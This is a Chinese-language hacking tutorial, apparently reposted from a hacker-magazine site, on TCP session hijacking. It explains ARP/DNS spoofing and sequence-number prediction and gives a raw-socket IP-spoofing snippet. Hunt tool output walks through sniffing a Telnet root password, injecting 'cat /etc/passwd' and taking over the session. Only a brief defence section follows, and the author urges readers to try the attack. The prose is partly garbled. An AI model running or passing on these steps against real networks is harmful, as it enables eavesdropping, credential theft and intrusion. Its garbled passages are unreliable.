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黑客技术分析 会话劫持攻击实战讲解


2009/4/24  编辑:佚名 来源:本站整理

通常, 大家所说的入侵, 都是针对一台主机, 就在获得管理员权限后, 就很是得意;其实, 真正的入侵是占领整个内部网络net。 针对内部网络的攻击方法比较多, 但比较有效的方法非ARP欺骗、DNS欺骗莫属了。 但是, 不管使用什么技术, 无非都是抓取目标的数据信息包, 之后分析出敏感数据。 如果目标内部采用的是共享式网络(采用HUB集线器连网), 那只有请求需要把网卡布置设置为“混杂模式”, 挂上嗅探器(Sniffer), 就能简听到您想得到的数据。 如果是交换式网络(采用交换机连网), 这样方法就行不通了, 因为对于嗅探器, 有三种网络环境是再也不能够跨越的:“网桥”、“交换机”、“路由器”。 可惜, 对于ARP欺骗, 交换式网络还是无能为力, 如果我们我自己借助ARP欺骗, 在实现更高一层的“入侵手段”, 从而真正的控制内部网络。 这也就是本文要叙述的会话劫持攻击……

  一、会话劫持原理

  1、什么是会话劫持

  在现实生活中, 比如你去市场买菜, 在交完钱后你要求先去干一些别的事情, 稍候再来拿菜;如果这个时候某个陌生人要求把菜拿走, 卖菜的人会把菜给陌生人吗?!当然, 这只是一个比喻, 但这恰恰就是会话劫持的喻意。 所谓会话, 就是两台主机之间的一次通讯。 例如你Telnet到某台主机, 这就是一次Telnet会话;你浏览某个网站, 这就是一次HTTP会话。 而会话劫持(Session Hijack), 就是结合了嗅探以及欺骗技术在内的攻击手段。 例如, 在一次正常的会话过程当中, 攻击者作为第三方参与到其中, 他可以能够在正常数据包中插入恶意数据, 也可以在双方的会话当中来进行简听, 甚至可以是代替某一方主机接管会话。 我们可以把会话劫持攻击分为两种类型:1)中间人攻击(Man In The Middle, 简称MITM), 2)注射式攻击(Injection);并且还可以把会话劫持攻击分为两种形式:1)被动劫持, 2)主动劫持;被动劫持实际上就是在后台监视双方会话的数据流, 丛中获得敏感数据;而主动劫持则是将会话当中的某一台主机“踢”下线, 然后由攻击者取代并接管会话, 这种攻击方法危害非常大, 攻击者可以做很多事情, 比如“cat etc/master.passwd”(FreeBSD下的Shadow文件程序)。

  MITM攻击简介

  这也就是我们常说的“中间人攻击”, 在网上讨论比较多的就是SMB会话劫持, 这也是一个典型的中间人攻击。 要想对的的实施中间人攻击, 攻击者最先是需要使用ARP欺骗或DNS欺骗, 将会话双方的通讯流暗中改变, 而这种改变对于会话双方来说是完全透明的。 有关联于ARP欺骗黑客防线介绍说明的比较多, 网上的资料也比较多, 我就不在多说了, 我只不复杂谈谈DNS欺骗。 DNS(Domain Name System), 即域名服务器, 我们几乎天天都要用到。 对于正常的DNS请求, 例如在浏览器输入www.hacker.com.cn, 然后系统system先查看Hosts文件, 如果有相对应的IP, 就使用这个IP地址访问网站(其实, 利用Hosts文件就可以实现DNS欺骗);如果没有, 才去请求DNS服务器;DNS服务器在接收到请求之后, 解析出其对应的IP地址, 返回给我本地, 最后你就可以登陆到黑客防线的网站。 而DNS欺骗则是, 目标将其DNS请求发送send到攻击者这里, 然后攻击者伪造DNS响应, 将正确的IP地址替换为其他IP, 之后你就登陆了这个攻击者指定的IP, 而攻击者早就在这个IP中安排好了恶意网页, 可你却在不知不觉中已经被攻击者下了“套”……DNS欺骗也可以在广域网中进行, 比较常见的有“Web服务器重定向”、“邮件服务器重定向”等等。 但不管是ARP欺骗, 还是DNS欺骗, 中间人攻击都改变正常的通讯流, 它就相当于会话双方之间的一个透明代理, 可以得到一切想知道的信息, 甚至是利用一些有缺陷的加密协议来实现。

  注射式攻击简介

  这种方式的会话劫持比中间人攻击实现起来简单一些, 它将不会改变会话双方的通讯流, 而是在双方正常的通讯流插入恶意数据。 在注射式攻击中, 需要实现两种技术:1)IP欺骗, 2)预测TCP序列号。 如果是UDP协议, 只需伪造IP地址, 然后发送过去就可以了, 因为UDP没有所谓的TCP三次握手, 但基于UDP的应用协议有流控机制, 所以也要做一些额外的工作。 对于IP欺骗, 有两种情况需要用到:1)隐藏自己的IP地址;2)利用两台机器之间的信任关系实施入侵。 在Unix/Linux平台上, 可以直接使用Socket构造IP包, 在IP头中填上虚假的IP地址, 但需要root权限;在Windows平台上, 不能够使用Winsock, 需要使用Winpacp(也可以使用Libnet)。 例如在Linux系统, 第一步打开一个Raw Socket(原始套接字), 然后自己编写IP头及其他数据。 可以参考下面的实例代码:

  sockfd = socket(AF_INET, SOCK_RAW, 255);

  setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));

  struct ip *ip;

  struct tcphdr *tcp;

  struct pseudohdr pseudoheader;

  ip->ip_src.s_addr = xxx;

  pseudoheader.saddr.s_addr = ip->ip_src.s_addr;

  tcp->check = tcpchksum((u_short *)&pseudoheader,12+sizeof(struct tcphdr));

  sendto(sockfd, buf, len, 0, (const sockaddr *)addr, sizeof(struct sockaddr_in));

  对于基于TCP协议的注射式会话劫持, 攻击者应先采用嗅探技术对目标进行简听, 然后从简听到的信息中构造出正确的序列号, 如果不这样, 你就就一定要先猜测目标的ISN(初始序列号), 这样无形中对会话劫持加大了难度。 那为什么要猜测会话双方的序列号呢?请继续往下看。 2、TCP会话劫持

  本文主要叙述基于TCP协议的会话劫持。 如果劫持一些不可靠的协议, 那将轻而易举, 因为它们没有提供一些认证措施;而TCP协议被欲为是可靠的传输协议, 所以要重点讨论它。

  根据记录TCP/IP中的规定, 使用TCP协议进行通讯需要提供两段序列号, TCP协议使用这两段序列号确保连载同步以及安全通讯, 系统的TCP/IP协议栈依据时间或线性的产生这些值。 在通讯过程中, 双方的序列号是互相一起依赖的, 这也就是为什么称TCP协议是可靠的传输协议(具体可参见RFC 793)。 如果攻击者在这个时候进行会话劫持, 结果肯定是失败, 因为会话双方“不认识”攻击者, 攻击者不能提供合法的序列号;所以, 会话劫持的关键是预测正确的序列号, 攻击者可以采取嗅探技术获得这些信息。

  TCP协议的序列号

  现在来讨论一下有关TCP协议的序列号的相关问题。 在每一个数据包中, 都有两段序列号, 它们分别为:

  SEQ:当前数据包中的第一个字节的序号

  ACK:期望收到对方数据包中第一个字节的序号

  假设双方现在需要进行一次连接:

  S_SEQ:将要发送的下一个字节的序号

  S_ACK:将要接收的下一个字节的序号

  S_WIND:接收窗口

  //上面为服务器(Server)

  C_SEQ:将要发送的下一个字节的序号

  C_ACK:将要接收的下一个字节的序号

  C_WIND:接收窗口

  //以上为客户端(Client)

  它们之间必须符合下面的逻辑关系, 否则该数据包会被丢弃, 并且返回一个ACK包(包含期望的序列号)。

  C_ACK <= C_SEQ <= C_ACK + C_WIND

  S_ACK <= S_SEQ <= S_ACK + S_WIND

  如果不符合上边的逻辑关系, 就一定会引申出一个“致命弱点”, 具体请接着往下看。

  致命弱点

  这个致命的弱点就是ACK风暴(Storm)。 当会话双方接收到一个不期望的数据包后, 就会用自己期望的序列号返回ACK包;而在另一端, 这个数据包也不是所期望的, 就会再次以自己期望的序列号返回ACK包……于是, 就这样来回往返, 形成了恶性循环, 最后导致ACK风暴。 比较好的解决处理办法是先进行ARP欺骗, 使双方的数据包“正常”的发送到攻击者这里, 然后设置包转发, 最后就可以进行会话劫持了, 而且不必担心会有ACK风暴出现。 当然, 并不是所有系统都会出现ACK风暴。 比如Linux系统的TCP/IP协议栈就与RFC中的描述略有不同。 提醒一定要注意, ACK风暴只存在于注射式会话劫持。

  TCP会话劫持过程

  假设现在主机A和主机B进行一次TCP会话, C为攻击者, 劫持过程如下:

  A向B发送一个数据包

  SEQ (hex): X ACK (hex): Y

  FLAGS: -AP--- Window: ZZZZ, 包大小为:60

  B回应A一个数据包二、会话劫持实践

  1、唠叨几句

  可以进行会话劫持的必备工具很多, 比较常用有Juggernaut, 它可以进行TCP会话劫持的网络Sniffer程序;TTY Watcher, 而它是针对单一主机上的连接进行会话劫持。 还是有如Dsniff这样的工具包也可以实现会话劫持, 只是看你会不会使用了。 但, 能将会话劫持发挥得淋漓尽致的, 还要算Hunt这个工具了。 它的作者是Pavel Krauz, 可以工作在Linux和一些Unix平台下。 它的功能非常强大, 首先, 无论是在共享式网络还是交换式网络, 它都可以正常工作;其次, 可以进行中间人攻击和注射式攻击。 还可以进行嗅探、查看会话、监视会话、重置会话。 可以通过前面的叙述, 我们知道在注射式攻击中, 容易出现ACK风暴, 解决办法是先进行ARP欺骗;而使用Hunt进行注射式攻击时, 它并不进行ARP欺骗, 而是在会话劫持之后, 向会话双方发送带RST标识位的TCP包以中断会话, 避免ACK风暴继续下去。 而中间人攻击是先进行ARP欺骗, 然后进行会话劫持。 Hunt就在目前当前最新版本是1.5, 可以到Pavel Krauz网站下载源代码包和二进制文件:http://lin.fsid.cvut.cz/~kra/#hunt

  现在来看看如果使用Hunt, 首先是下载并编译源代码:

  [root@dahubaobao hunt]#wget http://www.ringz.org/hunt-1.5.tgz

  [root@dahubaobao hunt]#tar zxvf hunt-1.5.tgz

  [root@dahubaobao hunt]#cd hunt-1.5

  [root@dahubaobao hunt-1.5]#make

  [root@dahubaobao hunt-1.5]#./hunt

  //Hunt是完全交互试的操作

  解释一下各个选择中项的含义

  l/w/r) list/watch/reset connections

  //l(字母l)为查看当前网络上的会话;w为监视当前网络上的某个会话;r为重置当前网络上的某个会话。

  a) arp/simple hijack (avoids ack storm if arp used)

  //中间人攻击(会话劫持), Hunt先进行ARP欺骗, 然后进行会话劫持。 使用此方法可以避免出现ACK风暴。

  s) simple hijack

  //简单的会话劫持, 也就是注射式攻击。 会出现ACK风暴。

  d) daemons rst/arp/sniff/mac

  //该选项共实现四个功能, 分别为:终止会话, 全自动发送带RST标志位的TCP包;ARP欺骗后进行数据包转发;不用说了, 嗅探功能;在当前网络上收集MAC地址。

  其他的选项很简单, 不在多说了。 还是来看看具体的例子吧, 我想大家都等不及了!^_^

  2、应用实例

  测试环境:

  攻击者:Red Hat Linux 9.0 IP:192.168.0.10

  主机A:Windows Advanced Server IP:192.168.0.1

  主机B:FreeBSD 4.9 STABLE IP:192.168.0.20

  [root@dahubaobao hunt-1.5]#./hunt

  /*

  * hunt 1.5

  * multipurpose connection intruder / sniffer for Linux

  * (c) 1998-2000 by kra

  */

  starting hunt

  --- Main Menu --- rcvpkt 0, free/alloc 63/64 ------

  l/w/r) list/watch/reset connections

  u) host up tests

  a) arp/simple hijack (avoids ack storm if arp used)

  s) simple hijack

  d) daemons rst/arp/sniff/mac

  o) options

  x) exit

  *> l //查看当前网络上的会话

  0)192.168.0.1 [3465] ?192.168.0.20 [23]

  //主机A正在Telnet到主机B

  --- Main Menu --- rcvpkt 0, free/alloc 63/64 ------

  l/w/r) list/watch/reset connections

  u) host up tests

  a) arp/simple hijack (avoids ack storm if arp used)

  s) simple hijack

  d) daemons rst/arp/sniff/mac

  o) options

  x) exit

  *> w //监视当前网络上的会话

  0)192.168.0.1 [3465] ?192.168.0.20 [23]

  Choose conn>0 //选择打算监视的会话。 由于我的条件有限, 不能模拟多个会话, 请多见量。

  Dump [s]rc/[d]st/[b]oth [b]> //回车

  Print sec/dst same charactes y/n [n]> //回车现在就可以监视会话了。 主机A输入的一切内容, 我们都可以看到。 主机A在Telnet并登陆之后, 直接su root, password:后边的就是root的密码。 现在这个系统已经完全由你所控制了, 自由发挥吧!

  --- Main Menu --- rcvpkt 0, free/alloc 63/64 ------

  l/w/r) list/watch/reset connections

  u) host up tests

  a) arp/simple hijack (avoids ack storm if arp used)

  s) simple hijack

  d) daemons rst/arp/sniff/mac

  o) options

  x) exit

  *> s //进行注射式会话劫持

  0)192.168.0.1 [3465] ?192.168.0.20 [23]

  choose conn> 0

  dump connection y/n [n]>

  Enter the command string you wish executed or [cr]> cat /etc/passwd

  攻击者的意图是获取主机B的passwd文件的内容, 但由于注射式会话劫持缺陷, 导致了ACK风暴, 所以Hunt向会话双方发送了一个带RST标志位的TCP包来阻止ACK风暴。

  --- Main Menu --- rcvpkt 0, free/alloc 63/64 ------

  l/w/r) list/watch/reset connections

  u) host up tests

  a) arp/simple hijack (avoids ack storm if arp used)

  s) simple hijack

  d) daemons rst/arp/sniff/mac

  o) options

  x) exit

  *> a //进行中间人会话劫持

  0)192.168.0.1 [3862] ?192.168.0.20 [23]

  choose conn> 0

  arp spoof src in dst y/n [y]>

  src MAC [XX:XX:XX:XX:XX:XX]>

  arp spoof dst in src y/n [y]>

  dst MAC [XX:XX:XX:XX:XX:XX]>

  input mode [r]aw, [l]ine+echo+\r, line+[e]cho [r]>

  dump connectin y/n [y]> n

  press key to take voer of connection

  ARP spoof of 192.168.0.20 with fake mac XX:XX:XX:XX:XX:XX in host 192.168.0.1 FA

  ILED

  do you want to force arp spoof nutil successed y/n [y]>

  CTRL-C to break

  CTRL+C //手工输入CTRL+C中断, 不需等待

  -- operation canceled - press any key>

  ARP spoof failed

  ARP spoof of 192.168.0.20 in host 192.168.0.1 FAILED

  you took over the connection

  CTRL-] to break

  -bash-2.05b$id

  ....................

  现在, 攻击者已经成功的劫持了主机A和B之间的Telnet会话。 主机A输入的一切命令攻击者都可以看到, 并且攻击者也可以自行插入命令。 正如前边所说的, 这种会话劫持方式先进行ARP欺骗, 然后才劫持, 所以, ACK风暴是不会出现的;而且, 这种方式要比注射式会话劫持危害更大, 从上文中我想就能看出来, 我就不必在多说什么了。 还有一些如Sniffer等功能, 都很简单, 由于已不在本文范畴, 故不在多说。

  三、会话劫持防范

  防范会话劫持是一个比较大的工程。 首先应该使用交换式网络替代共享式网络, 虽然像Hunt这样的工具可以在交换环境中实现会话劫持, 但还是应该使用交换式网络替代共享式网络, 因为这样可以防范最可以说是的嗅探攻击。 然而, 最根本的解决办法是采用加密通讯, 使用SSH代替Telnet、使用SSL代替HTTP, 或者干脆使用IPSec/VPN, 这样会话劫持就无用武之地了。 其次, 监视网络流量, 如发现网络中出现大量的ACK包, 则有有可能已被进行了会话劫持攻击。

  还有一点是比较重要的, 就是防范ARP欺骗。 实现中间人攻击的前提是ARP欺骗, 如能阻止攻击者进行ARP欺骗, 中间人攻击还怎样进行?!怎么才能防范ARP欺骗, 黑客防线有过详细的介绍, 可以参考2003年第9期杂志。

  总结

  对于渗透内部网络, 会话劫持确实是一种比较有效的方法, 我们应该掌握。 本文的实践性很强, 请大家务必动手试试, 并真的希望能掌握此技术。 Hunt这个强悍的工具使用方法很简单, 但却可以把会话劫持发挥淋漓尽致, 真佩服作者的编程功底。

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